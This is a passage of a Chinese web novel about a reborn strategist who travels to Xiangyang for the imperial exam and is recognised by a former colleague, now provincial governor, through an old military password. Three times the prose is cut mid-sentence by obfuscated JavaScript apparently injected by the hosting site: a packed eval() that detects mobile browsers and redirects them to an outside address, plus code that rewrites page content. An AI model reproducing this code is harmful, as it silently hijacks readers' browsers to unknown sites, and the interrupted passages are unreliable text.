好在他年少时毕竟师从大儒,又有系统的随身资料库在,应付杜衡这个尚未出仕的愣头青还是没什么问题的。 陈襄姿态云淡风轻,一番高谈阔论下来,直唬得杜衡惊为天人,深深拜服,口称“陈兄”。 然后,他来得更勤了。 陈襄:“……” 搬起石头砸了自己的脚。 不过,在这几日的相处中,陈襄也发现杜衡并非是他一开始以为的那种思维死板的世家子弟。 这个小青年虽然看着一板一眼,但实则才识渊博、思维敏捷,许多想法都颇为大胆。不仅不迂腐守旧,甚至还能称得上一声“离经叛道”。 比如昨日,两人谈论《周易》,说及其中“天尊地卑”一句。 此句出自《周易·系辞上》,原句为“天尊地卑,乾坤定矣。卑高以陈,贵贱位矣。” 原意乃是君子效法天地之道,无论身处何种境地,皆应坚守道德,并因此获得应有的地位与尊严①。然而现今却被曲解为社会地位的不可逾越、君王至高无上。 对此,杜衡道:“谓天位尊于地,是跛者视日月之行也②。” 此言一出,连陈襄都吃了一惊。 继而便是无比欣赏。 此子尚未及弱冠便已显露圭璋之质,没想到这小小的杜家竟能养出如此人物,后生可畏。 ——但再怎么欣赏,也不是对方又大早上的登门拜访、将他从舒适的床榻上薅起来的理由。 陈襄一脸的生无可恋。 他看科举? 他能怎么看? 他当初创立科举的时候,可真没想到有朝一日自己竟也要去考。 我考科举,真的假的? 陈襄一点也不想说话。 但他面对杜衡那双明亮而充满求知欲的眼睛,不由得想起了他上辈子的弟弟。 那也是个非常崇拜他的小孩,少时在家中,总是眼睛亮闪闪地跟在他身后,哥哥长哥哥短。 想到这里,陈襄便有些心软。 他清了清嗓子,模棱两可地说:“这科举乃是武安旧策,最初不过是遴选基层小吏,考的只是些简易的认字、数算之类。” “直到新朝建立,太祖将其定为国策,内容也加上了经史子集和治国策论。如此一来便能从全国范围内挑选有才之士,可谓是天下英才皆入彀中。” 杜衡深以为然,点头附和:“陈兄所言极是。此科举制度能打破世家门阀之偏见,选拔出有真才实学之人。前朝许多世家子弟,自诩‘名士’,却只会夸夸其谈,误国误民。” “武安侯此举,开创百年之先河,真乃国士之才!” “——咳!” 武安侯陈襄颇为尴尬地咳了一声。 从来没想到,这“国士”的帽子有朝一日竟然还会扣到他的头上。 陈襄:“此举损害了世家的利益,你身为世家子,竟也赞同?” 杜衡凛然道:“真正有才华的人是不会反对科举的。那些惧怕科举,担心损害自身利益的,不过都是些草包蠢虫罢了,本就德不配位。” “出身世家之人,坐拥书籍无数,若这样还没有胜过那些寒门学子的学识,才应羞愧至死!” “科举制既能使让寒门学子施展才华,又能督促世家子弟奋发图强,实乃一举两得!” 陈襄微微颔首。 杜衡天资聪颖,身为世家之人却能有此番见识,很好。 但他毕竟年纪尚轻,经历尚浅,对这世间的人心险恶、利益纠葛还缺乏足够的认识。 学子参与科举之后,便算是天子门生了。虽说师承、党派之类无法避免,但门阀的垄断被彻底打破,世家终究无法再像从前那般一手遮天。 正因如此,那些世家才会对科举激烈地反对。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647332|172757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可如今毕竟国朝初定,科举初开,大部分的书籍、知识和人才都还掌握在世家手中。陈襄当初为了稳妥起见,也在科举中暂时给他们开了一些方便之门—— 即,世家子弟不用参加院试、乡试,可直接去往长安参与会试。 ——这也是他以“陈湘”的身份,可以直接赴往长安的原因。 当然,随着寒门学子逐渐增多,朝堂势力逐渐巩固,这些特权迟早是要被取消的。 “陈兄?陈兄?” 杜衡见陈襄久久不语,似乎陷入了沉思,忍不住出声唤道。 “啊,无事。”陈襄回过神来,随口问道,“不知去年科举出的是何题目?” 杜衡一愣,惊讶道:“去年并无科举,陈兄竟不知么?科举已改为三年一次了。” 陈襄心中一惊。 原身自陈家败落后便颠沛流离,疾病缠身,记忆中竟完全没有这回事。 陈襄沉声问:“这是何时改的规矩?其中可有什么缘由?” 杜衡并未察觉到陈襄的异样,老老实实地回答道:“这是三年前,新帝继位时颁布的政令。” “说是三年一试,既能让学子们有充分的时间积累学识,又能让偏远地区的考生有足够的时间往返,并无不妥。” 听着听着,陈襄的眉头紧紧地皱了起来。 这不妥当地方可多了去了! 一年一次的科举改为三年一次,看似给了学子们更充足的准备时间,实则大大降低了人才选拔的效率,延缓了寒门入仕的速度。 这背后恐怕少不了那些世家大族的推波助澜。 殷尚死了,他并不意外。毕竟他这位主公在战场上征战半生,算起来也到知天命的年纪了。 继位的应当是主公的长子殷承嗣。 他上辈子一直将这小子带在身边,对方深受他“重寒门、抑士族”理念的影响,耳濡目染,怎么会颁布出这样的政令? 要知道,后世科举三年一次,那是因为经过数百年的发展,人口基数庞大,每次科举参与的人数动辄成千上万,耗费的财力物力巨大,绝非现今可以比拟的。 他草创的科举,最初不过是为了解无人可用的燃眉之急而搭建的草台班子。 即便后来开国,被正式确立为国家选拔人才的途径,但参与的人数依旧寥寥无几。 每年会试能有几百人,都算得上是盛况了。 人才匮乏,朝堂与各地又都急需新鲜血液,这才定下了一年一次科举的规矩。考试的难度也并不算高,最初只考实务,后来才添上了少许经史。 科举制,不仅是寒门士子的根基,也是新朝的根基! 仅仅是从一年改为三年,陈襄便已从这冰山一角窥见了朝堂之上的风云变幻。 寒门一方,必定已经被士族一方压制了。 还有……师兄。 陈襄的唇角不自觉地地抿起,目光闪动。 他与师兄年少时曾秉烛夜谈。对于士族势力过大的问题,他们的看法是一致的。 前朝覆灭的教训历历在目——士族专权,尾大不掉,最终导致国家分崩离析。所以二人虽都出身士族,却也都认同,若有机会定要限制士族势力。 他的师兄有承平天下的治世之才,有师兄在,旁人根本别想翻起什么风浪。 这也是他上辈子死的干脆又安心的原因。 可如今,士族竟又有复起之势? 陈襄心中疑云重重。 死去七年,这天下当真是变得让他看不清楚了。 ——这长安,他是非去不可了。 5. 第 5 章 几日后,陈襄与杜衡整装待发。 杜家早已备好车马。此行计划先由零陵郡穿过长沙,抵达南郡,去往襄阳的荆州州府开具路引和应试名帖,而后再穿越南阳,经武关道直抵长安。 陈襄心中风平浪静。 他上辈子什么大风大浪没见过,这点路程还不放在眼里。 杜衡也不见有什么担忧,只有着头一次出远门的兴奋劲。他对陈襄道:“陈兄放心!家父已做了妥善安排,路途定会顺利的。 陈襄点点头,没说什么。 对于他来说,这路途是否顺利,主要还是在那张小小的应试名帖上。 像杜衡这般的荆州本地学子,只需凭户籍便可在州府衙门开具名帖,一日之内便可办妥。 可像陈襄这般的外地学子就没有这么简单了。 他若想取得名帖,只有两条路可走:一是返回祖籍豫州,到豫州州府开具;二是凭荆州名士的推荐信,拜见荆州刺史,由刺史验明正身后开具。 回豫州显然为下选。过于折腾,且来去路途遥远,恐耽误时日。 所以陈襄选择了第二条路。杜家家主杜勉捏着鼻子为他写好了推荐信。 但纵使有杜家的推荐信,事情怕也没那么容易。 刺史公务繁忙,哪有闲工夫随时接见小小的士子?除非是出身名门望族,或是与刺史沾亲带故,否则只能老老实实递上拜帖,等刺史得空召见。 杜家显然没这么大的面子。 原本,颍川陈氏倒是有这个资格。可如今陈家败落,这块招牌非但不能带来便利,反而可能招致祸端。 想到这里,陈襄面目凝重。 若是那刺史不愿沾染陈家的麻烦,或是干脆与幕后之人沆瀣一气,只需将他晾在一边,不开具文书,便能让他错过科举。如此一来,还不如回去豫州。 ……虽说回豫州也未必顺利,但陈家毕竟在当地扎根上百年,总好过荆州这人生地不熟的地方。 “罢了,兵来将挡,水来土掩。”陈襄低声自语,登上马车。 杜家没有在这方面亏待他们,两辆马车皆宽敞舒适,一辆载人,一辆装载行李等物。拉车的马匹毛色顺滑,一看便是精心喂养的良驹,随行的还有四名婢女和十余名健仆。 这排场,若放在前些年天下大乱之时或许不足,但如今新朝已立,天下太平,便显得有些奢华了。 陈襄并未提出异议。 他虽吃过不少苦,但那都是在投奔主公之后了。 前期人手紧缺,别说侍候的人和车马了,战场奔袭之时,骑术不精的他甚至要被那些五大三粗的军士夹在胳膊下拎着逃命。 想少年时,他身为金尊玉贵的陈家子,锦衣玉食,正式出行时也是宝马香车、仆从无数,比杜家这排场有过之而无不及。 他老老实实地爬到车上坐好。 杜衡却没有选择先坐马车,而是翻身骑上了一匹棕红色的高大骏马。 陈襄看着他身姿挺拔,意气风发的姿态,心道当朝士人是这样子的,大多数人都文武双修、骑射俱佳。 毕竟“射”、“御”都算在君子六艺里面,每位世家子弟都要从小修习。也就他这个半路出家的穿越者受不了学武的苦。 “陈兄,今日天气晴好,要不要下来一同策马?”杜衡骑在马上,兴致勃勃地邀请陈襄道。 陈襄瞥了一眼杜衡,见他的袖子用臂鞲束起,露出结实的手臂线条。 再想想他如今那一折就断的细瘦手腕。 陈襄虚弱的咳嗽了两声:“杜兄好意,我心领了。只是我的病还需要修养,就不出去吹风了。” “啊,是我考虑不周了。”杜衡歉意道,“陈兄便在车中好好歇息罢。” 车队缓缓启程。 杜衡策马跟陈襄所在的马车并驾齐驱,脸上带着几分欢喜:“陈兄可知,家父出门前已为我加冠取字了!” 陈襄这才注意到杜衡头上戴着的发冠。 古时男子虽然以二十岁为“及冠”之年,但实际上并没有卡的那么严格,常有提前好几岁便及冠起字的。许多人为了早日被视作成年人,获得相应的地位和权利,往往会提前几年行及冠礼。 杜衡要独自出门赶考,他父亲为他及冠取字,合情合理。 陈襄顺着他的话道:“不知杜伯父为杜兄起了何字?” 字往往被视作一个人的第二张脸。同辈、长辈和后辈之间,不熟悉的一般只称呼其姓氏,熟悉的则都互相称字。 陈襄这辈子的身体才十六岁,尚未取字。 他上辈子的字是孟琢。 原本家族长老给他取的字是孟琬,可他嫌弃太过柔和,出山后自作主张将“琬”改为“琢”,把族中一群老头气得直呼大逆不道。 他的师兄荀珩,字含章。取自《易经》“含章可贞”,意为内敛才华、坚守正道,保持美好的德行。 寓意美好的字就那么多,难免会出现重复的情况。像“德”、“孝”、“文”这些大众字眼,简直像“子涵”一样无限繁殖。 陈襄有些好奇杜衡会起一个什么样的字。 只见杜衡眉目含笑,似是对自己的字十分满意:“家父为我取的字是‘居正’,意为居贞守正,警示在下往后要坚守正道——咦,陈兄,陈兄?你怎么了?” “……” 陈襄表情古怪:“……无事,杜兄好字。” 这个字,一听便是将来会大有作为的。 杜衡:“陈兄往后直呼我的字即可!” “……” 陈襄闭上眼睛,而后又睁开。他沉默了良久,方才艰难地开口:“……好的,居正。” …… 历经数日车程,马车终于缓缓驶入了襄阳。 陈襄撩开车帘,望着这座雄伟的城池。 襄阳自古便是兵家必争之地,踞“天下腰膂”之位。北扼南阳盆地,控中原南下之咽喉,驿道直通洛阳、长安;南锁江汉平原,顺汉水可抵荆州、武昌,舟楫一日千里;西倚荆山,层峦叠嶂成天然屏障;东接随枣走廊,虎视江淮吴越。 汉水与唐白河在此交汇,更兼“七省通衢”之利,北上可逐鹿中原,南下能割据江南,西进可图巴蜀,东出直抵江淮。 ——咳,上辈子的职业病又犯了。 陈襄甩甩头,将这些想法抛之脑后。 不过,即使现在国家已经统一,天下太平,能被派来镇守此等要地的官员也绝非等闲之辈。 说不定还会是他上辈子认识的人? 怀揣着这样的猜测,陈襄等人交验了路引,渡过护城河,正式踏入了襄阳城内。 城内人行如织,街道繁荣。 一行人在驿站安顿下来,杜衡打算先好好休整一番,明日再去州府开具名帖。 陈襄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647333|172757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却不急着休息,以想在城中四处逛逛为由,谢绝了杜衡的陪同,独自一人出了驿馆。 陈襄溜溜达达地走到了府衙附近。 荆州州府坐落于城北,门前两尊石狮威严肃穆,两名衙役身形魁梧,手持长棍,分立两侧。 陈襄看了眼那威武阔气的大门,并未上前,而是转身走向了不远处一个卖糖葫芦的小摊。 ——这糖葫芦原本只是他上辈子在府中闲来无事,随手做来哄小孩的,后来不知怎么竟流传了出去,如今已是街头巷尾随处可见的小吃了。 那小贩是一位年过半百的大爷,身着短褐,肩上扛着一个插满糖葫芦的草靶子。 红彤彤的果子裹着晶莹剔透的糖衣,在阳光下闪烁着诱人的光泽。 陈襄走到近前,见还有一个十来岁的孩童也站在摊前。 “两串糖葫芦。”那孩子伸手,递给小贩两文钱。 “好嘞,小公子拿好!”大爷笑眯眯地接过钱,从草靶子上取下两串糖葫芦递了过去。 陈襄开口询问:“老伯,这糖葫芦怎么卖?” 大爷道:“一文钱一串。” 陈襄道:“我也要两串。” “好勒!”大爷笑容满面,又拿下两根糖葫芦。 陈襄没有立刻去接。 他慢条斯理的从身上找起荷包,一边找一边搭话:“这糖葫芦看着不错,老伯卖了多少年了?” “几十年啦,我这手艺可是祖传的!”大爷吹嘘道。 陈襄的动作一顿,嘴角微微抽搐。 他发明这糖葫芦满打满算也不到十年。 但他没有表现出来,只附和道:“那可真厉害。不过老伯,您怎么不在东市那边摆摊,反而跑到这府衙附近来了?” “嗨,这不是使君大人就好这一口嘛!” 大爷压低了声音,神秘兮兮地说道:“连带着府衙里头的人也都爱吃。我在这儿摆摊,生意好着呢,每天都能卖个精光!还能沾沾使君大人的贵气!” 爱吃糖葫芦? 陈襄仔细回忆了一番,没有想起来他熟识的人当中有谁喜欢吃糖葫芦。 那应该就是某些德隆望重的老头子了。 ……不过,都七老八十了,还能咬得动糖葫芦么,牙口这么好的? “哦?”陈襄故作惊讶,“使君大人也喜欢吃这糖葫芦?那我可真得好好尝尝了。” 他终于摸到了荷包,从中取出两文钱递给老者,接过糖葫芦:“不知使君大人的名讳是?” “这,”老者挠了挠头,有些为难道,“我等小民,哪里知晓使君大人的名讳?只知道使君大人姓萧。” 姓萧…… 陈襄的脑海中飞快地闪过一个个兰陵萧氏的名字。 “使君大人姓萧,讳肃。” 一道清脆的童声突然响起,打断了陈襄的思绪。 他转头一看,发现方才买完糖葫芦的那个孩子并未离开,此刻正站在一旁,用一双黑亮的眼睛望着他。 使君大人姓萧,讳肃。 姓萧,讳肃。 萧肃。 萧…… ——萧肃!! 陈襄的脸色登时一黑。 怎么会是这家伙?! 他猛地转过身,扭头便走。 这襄阳、不,这荆州,他是半刻也待不下去了。他要立刻、马上启程回豫州! 6. 第 6 章 “郎君?” 身后稚嫩的童声再次响起,带着几分疑惑和不解。那孩子见陈襄不知为何转身就走,忍不住出声唤他。 陈襄意识到自己反应过激。 他硬生生刹住脚步,咬住了后槽牙。 真是夭寿了。荆州刺史怎么会是萧肃? 不,冷静,或许只是同名同姓呢。 陈襄深吸一口气,强迫自己冷静下来。他转过身,若无其事地走回那孩子面前。 这孩子看着约莫十来岁,梳着双髻,身上穿着素色深衣,腰间系着丝绦,看打扮便知是出身富贵人家。 陈襄微微弯下腰,脸上挂起笑容:“你可知使君大人字什么么?” 小孩仰起头,脆生生地回答道:“容和。” 陈襄脸上的笑容彻底僵硬,再也没有办法自欺欺人。 萧肃,萧容和。 是他,就是他! 这人可不是什么兰陵萧氏的人,而是出身陇西,来自民风剽悍的西凉。 此人面白心黑,老谋深算,擅长伪装,总是装出一副温润顺从、安静沉默的寡夫模样,在他所有同僚当中难糊弄程度堪称第一。 陈襄无比清楚这家伙的本质。 当初,萧肃被他威胁入伙之后,一直出工不出力,暗戳戳地躲在一旁观察局势。直到发现他陈襄挡在前面吸引了所有人的仇恨,才开始在暗地里给他递刀子。 两人配合默契、无比丝滑,堪称毒士界的最佳拍档。 此人的黑心程度比他还更胜一筹,不少“伤天和不伤容和”的计划就是他私下里提出的,陈襄都自愧不如。 说实话,陈襄听到他的名字的确一惊。但随即也意识到这不是最坏的情况。 以萧肃这样明哲保身的性格,至少不用担心他会与当年覆灭陈家的幕后黑手有什么关联。 ——唯一令他百思不得其解的是,这家伙为什么会成为荆州刺史? 萧肃其人城府手段皆具,虽然暗中藏拙,但就其目前所表现出来的这些,已经够配得上一个丞相之位了。陈襄至今都不清楚对方的能力底线究竟在哪里。 这样的人才,不在朝廷中枢效力,反而被外放到地方? 若论对方获得的功勋,即使不能位列三公,也至少能混个九卿当当啊。 啊,忘记了,他当初推行科举、改革吏治,新朝现如今已经是三省六部制了,九卿已经没了。 陈襄长长地呼出一口气,像是要把胸中的郁结全都吐出去。 其实,纵然萧肃城府极深,也不大可能猜出他诈尸了罢……他都死了七年了,对方是否还记得他的模样都是两说。 正当陈襄内心交战之际,站在一旁的小孩歪了歪头:“郎君可是找使君大人有事?” 陈襄的目光落在了他身上。 古时的孩童大多早慧,这孩子的年纪已可称得上是小少年了。对方生得唇红齿白,眉目清秀,让人见了便心生欢喜,莫名觉之亲切。 陈襄叹了口气,索性实话实说:“在下乃是豫州士子,欲往长安参加今年的科举。” “然按朝廷规矩,需得本地使君开具应试名帖,方有资格应试。故而想打探一下使君大人何时有空闲。” 这孩子既然出现在这里,又知晓萧肃的名讳,想来他的长辈亦是府衙中的官吏。 “原是如此。” 那孩子眨了眨黑白分明的大眼睛:“使君大人今日就有空闲,还请郎君跟我来罢。” 说罢,他转身便走。走出一段距离后,他发现陈襄并未跟上,便停下脚步,回过头来疑惑地看着陈襄:“郎君?” 陈襄:“……” 他措手不及。 这孩子是怎么笃定萧肃今日有空,又一定会接见他这个素未谋面的豫州士子呢? 一个不太妙的预感涌上陈襄心头,他心中估算这孩子的年龄:“……还不知小郎君的名讳?” “萧榆,小字阿木。”小孩道,“使君大人正是吾阿父。” 陈襄悬着的心死了。 怪不得他会觉得这孩子面善。 想当初,萧肃丧妻,与幼子相依为命。他为了逼迫萧肃入伙,就是用其幼子相要挟。 虽说后来他后来也察觉到萧肃这家伙是在顺水推舟,但面对着当初的孩子,陈襄还是有些不自在。 万幸这孩子当年才两岁,对这件事情应该毫无印象。 陈襄彻底放弃了挣扎。他将手中的糖葫芦又递还给大爷,让其帮为代拿一会,而后面无表情地跟上萧榆的脚步。 ——来都来了,反正早晚也躲不过的,不如速战速决,拿到名帖赶紧离开。 武安侯做的事,跟他陈湘有什么关系? …… 萧榆引他至后园门,守卫简单盘问陈襄几句就放他进去了。二人穿过后花园、内宅区、吏舍廊院,一路行来,府衙中人似乎都认得萧榆,对他身后的陌生面孔并未过多留意。 两人过三重仪门,抵达正厅。 萧榆立于悬鱼屋顶之下,向陈襄一礼:“使君大人就在其中,郎君自去即可。” 陈襄回了一礼:“多谢小郎君引路。” 言罢,他挺直了身,深吸一口气,做足了心理准备,方才迈步上前,叩响了大门。 “请进。” 一道声音自门内传出,低沉温润,如微凉醇厚的酒酿一般流淌而过。 陈襄推门而入,一眼便望见一人端坐于书案之后。 那人未着正装,似是本无见客之意,只着一身素简无纹的便服,披着软烟色的外袍,亦未戴冠,仅以桐木簪半绾着发。 对方身材伟美,面容沉静,微垂的眼睑显得温和无害。其人如经久打磨的玉石一般温婉内敛。 桌案上的博山炉散着袅袅烟雾,轻薄地环绕其在周围。 陈襄看见对方这副样子便觉牙疼。 这家伙可不似表面这般是个温雅文士,若站起身来,修八尺有余! 虽说萧肃总摆出一副温顺谦和的样子,但陈襄至今仍忘不了,对方当初仅用一只手便拎他上马,轻松的如同拎起一只兔子。 他趴在对方身前,眼睁睁瞧着他拉开了三石的重弓,一箭贯穿了三名敌兵、两面盾牌。 啧,西凉人。 装什么文弱书生呢。 陈襄绷着一张脸,礼数周全地弯下身,双手举至额前揖礼:“颍川陈氏陈湘,见过使君。” 座上那人本未在意,只目光淡淡地扫了一眼少年弯下的脊背。然对方自报家门,熟悉的名字令萧肃动作一顿。紧接着对方行完礼直起身,露出了他的面容。 这一眼,萧肃眸光剧震,而后下意识地半阖眼帘,教人无法看清他眼底的神色。 一颗石子投入了深潭,水面微微泛起涟漪,随即又归于沉寂。 萧肃合上手中的书卷,看向眼前的少年:“你是颍川陈氏的子弟?” “是。”陈襄一副恭谨的模样,“学生此前于零陵杜氏借住,如今打算前往长安参加科举,想请使君大人为学生开具一份名帖。” 萧肃微微颔首,修长的手指叩了叩桌案,示意他将推荐信拿出来。 陈襄早就将杜家主的推荐信带在了身上,此刻从怀中取出,双手呈上。 萧肃接过信将其展开,略略扫了几眼,便又将其合上。他抬眼看向陈襄,道:“按规矩,我需得考校你一番。” “请大人赐教。”陈襄道。 萧肃点了点头,先是问了些基础的学问,陈襄心中早有准备,答的皆千篇一律。 不出色,也挑不出什么错来。 而后,萧肃抛出了一个问题。 “民弱国强,国强民弱,何解?” 此句出自《商君书·弱民第二十》,被解释为百姓越是弱小愚昧,国家便越是强大稳定,主张以“弱民”之术集中资源,强兵富国。 但陈襄并不认同此等观念。 他上辈子曾言:“民富则国富,民强则国强。无能的君王才会让百姓永远处于贫困。此句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647334|172757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话应当解释为:‘人民不敢抗拒法律,国家力量就强;人民敢于触犯法律,国家力量就弱。①’” 此等论调在以儒家思想为主流的社会,可谓离经叛道至极。 萧肃竟想用这种问题来试探他?未免也太小瞧他了。 陈襄心中冷笑,面色却丝毫不变,按照世俗普遍认同的观点中规中矩地答道:“有道之国务在弱民。此句之意为,百姓的弱势与愚昧依赖国家指导,能增强国家的力量与稳定性。” “哦?你是如此认为的?”萧肃端起桌上的茶盏,轻轻拨弄着漂浮的茶叶,面上的神色让人看不出喜怒。 陈襄色愈恭礼愈至:“学生是如此认为。” 良久,萧肃才将茶盏放回桌案,既没有说好,也没有说不好,而是话锋一转:“你我手谈一局,如何?” 陈襄自然不会拒绝。 萧肃便吩咐下人取来棋盘和矮几,两人面对而坐。 棋盘是上好的紫檀木制成,纹理细腻,色泽沉静。棋子则是由玉石质成,黑白分明,入手微凉。 文人雅士之间,素有以棋观人的说法。 一个人的棋风,往往能反映出他的性格、心性,甚至是处世之道。除非两人实力悬殊,否则对弈之时,棋风很难掩饰。 陈襄当然做不到碾压萧肃,但是…… “系统。”陈襄在心中默念。 【叮!围棋模型已加载完毕。】 陈襄唇角微不可察地勾了勾。 想不到吧,我有外挂! 萧肃神色温和道:“陈公子是客,请执黑先行。” 陈襄没有推辞。 他自己的棋风,向来是凌厉狠辣,以攻为守,有进无退。开局第一子必落天元。 但此刻。 陈襄墨色的眸子静静地注视着眼前的棋盘,执起一枚黑子,将首子落在了右上角。 敬手。 大堂之中,一时寂静无声。 棋子接连落在棋盘之上,发出的“啪嗒”、“啪嗒”的清脆声响。 在系统的计算之下,陈襄的棋路颇为曲折婉转,时而还会停下来苦思冥想一番,俨然一副初出茅庐、经验不足的模样。 “啪嗒。” 又是一声脆响,萧肃落下一子。 陈襄的目光微微一凝。 不知不觉间,眼前的棋局,竟赫然变成了一式“鸳鸯阵”。 这“鸳鸯阵”乃是前朝一个极为著名的残局,构思精巧,变化多端,流传了千百年,一直被奉为经典。直到近现代才有人将其解出,成为了初学者必学必背的棋谱。 陈襄这个穿越者自然也是背过的。少年时,他还曾拿出来与师兄显摆过。 但他记得自己并未将此外传,萧肃又是如何得知的? 陈襄不动声色地抬眸,朝对面看去。 萧肃依旧是那副沉静的模样,面上古井无波。 陈襄心中警惕起来。 无论萧肃是无意为之,还是有意试探,他都不会接招。 他现在只是一个经验不足的小棋手,直接装作没看出来就好。 陈襄眼观鼻,鼻观心,脸皱了起来,一副冥思苦想的模样。 好半晌,他才似是下定了决心一般,拈起一枚黑子,就要朝着一个错误的位置落去。 就在这时,一个冷冷的声音突然在他耳边响起。 “天王盖地虎。” 陈襄几乎是下意识地脱口而出:“宝塔镇河妖。” 话音刚落,陈襄的动作便骤然僵住。 “……” “……” 一阵令人窒息的沉默,在两人之间蔓延开来。 陈襄感觉自己的脖子像是生了锈一般,咔嚓咔嚓地,一点一点地抬起头来。 便见对面的萧肃,正眸色深沉地望着他。 那张如玉雕琢般温雅俊美的面容,悄然间失去了所有的表情,眉眼间竟显露出一种难以言喻的冰冷。 “——还装么,陈孟琢?” 7. 第 7 章 陈襄的手指一抖。 “啪嗒”一声,黑色的棋子掉落在了棋盘上。 萧肃冷下了脸,连带着对方原本低沉温润的声音带着一股微哑,像是蜜糖中包裹着毒药一般,终于显露出了危险的本质。 大意了!陈襄在心里暗骂了一句。 从一开始的考教,到后来的对弈,萧肃步步为营,一环扣一环,都是为了提高他的警惕性。 而当他精神最为紧绷的时候,萧肃突然问出那句暗语,他猝不及防之下,自然就中了招。 不愧是能在乱世当中将自己摘得干干净净的老狐狸,心也太黑了! 陈襄咬牙切齿。 这句“天王盖地虎”是他上辈子心血来潮,定下的军中密令。反正系统说过,这世上只有他一个穿越者,旁人绝不可能猜出这暗号的含义。 可谁曾想,这句话却被萧肃拿来反过来试探他的身份。 他自诩聪明一世,重生后却这么快就翻了车! 陈襄一脸沉痛。 不过话说回来,真的有哪个穿越者能抵抗得了“天王盖地虎”? 任谁听见这句,都会条件反射的想接下一句罢? 陈襄面色严肃地盯着面前的棋盘,道:“撤回。” 萧肃:“……?” 萧肃隔着桌案,就这么静静地看着陈襄:“‘撤回’,何意?” 陈襄看着那枚掉到棋盘上的黑子,语气僵硬:“……就是能不能悔棋的意思。” 听到这话,萧肃轻笑了一声。那份颇有压迫感的冷意从他的脸上褪去,其人很快又恢复了那般端庄玉像般的温雅。 他半分眼神都没有落到那已被破坏的棋局上。 “落子无悔。”他说道。 陈襄看向萧肃的眼睛。那微微下垂眉眼本沉静地看着他,仿佛极为笃定他的身份。 虽说军中秘令的确不该为外人所知,但萧肃又怎么能如此肯定,诈尸这种不科学的事情会真的发生呢? 陈襄本来还想再垂死挣扎一下的。 但一想到对面是萧肃这个老狐狸,看到对方一副“我看你还想怎么装”的架势,便放弃了狡辩。 算了算了,不如承认。 反正对方也算是少有的和他没有太多深仇大恨的同僚了。 于是陈襄挺直了身体,缓缓抬起头。 在这一刻,他面上那些伪装出来的、属于少年的青涩与稚嫩,全都收敛了起来,一双黑沉沉的眸子冷冷地看着对面之人。 “你是如何看出来的?” 即使心中已有猜测,但在对方真的承认了自己的身份后。 萧肃的睫毛微微颤了颤,如平静池水般的眸子微漾。 他先是下意识地垂下眼眸,不想表露出自身的情绪,而后却又抬起眼,再次看向对面的少年。 对方黑发黑眸,皆是如墨一般的浓郁深沉,偏又皮肤白皙,形成一种画卷般的对比之感。 此刻,少年面无表情,眸光锐利如刀,带着上辈子从乱世中杀出、令天下人胆寒的气势,让人不敢直视。 萧肃感受着皮肤上的轻微刺痛,与陈襄对视,从他明亮的眼眸中看到了自己的倒影。 这般危险却昳丽的凌厉之美。 ……这便是名震天下的,武安侯啊。 萧肃的心脏微微颤栗。 像他们这些在乱世中翻滚过一番的谋士,天生就会被战争与危险吸引。越是靠近,越是会觉得热血沸腾、心神颤栗。 他也控制不了这样的本能。 端庄平静的外表之下,萧肃的胸腔中似乎有飞絮在翻涌到喉头。他就这么凝目看着陈襄,连呼吸都轻了下来。 陈襄:? 他不知道萧肃为什么突然就这么定定地看着他,不说话了。 难道是死而复生这件事,对古人来说还是惊吓太大了,一时难以接受? 但这个能提出“把感染疫病的士兵用投石车丢到敌方阵营”的人,会被区区诈尸吓到么? 陈襄持怀疑态度。 但他既已经掀掉了马甲,当然不满对方这副沉默走神的态度。于是他皱起眉头,手指曲起敲了敲桌案,再次道:“你究竟是如何看出我的身份的?” 萧肃没有说话,只是将桌案上的一方铜镜递了过去。 陈襄不明所以地接过铜镜,向中一望,这才明白问题到底出在何处。 镜中少年的相貌,竟与他上辈子有七分相似! 怪不得会让萧肃一眼便产生怀疑。 陈襄重生之后并没有照过镜子。他也是第一次知道这具身体竟与他上辈子生得如此相像。 即使两人出自同族,这也十分罕见。 陈襄面色凝重。 好消息是,吸引幕后之人概率增加了。 坏消息是,吸引他上辈子的“同僚”们的概率,也增加了…… 他是想用陈家遗孤的身份加入局中,可不是想把他重生的事情也一起暴露出来。 那些“同僚”们,各个都是聪明人。 要不要,干脆毁去这幅容貌? 陈襄放下铜镜,手指轻轻点着桌案,冷淡地思考着。 萧肃并未催促,只是耐心的等待。 “……” 萧肃见陈襄轻点桌案的动作逐渐停止,才开口道:“看你对自己相貌一副不知情的样子,这不是你自己的身体?借尸还魂?” 陈襄还是决定不毁了。那样更引人注目不说,他自己也不想顶着一张毁容的脸。 他没好气地翻了个白眼:“不然呢?我都死了七年了,早就化为一抔黄土了。” 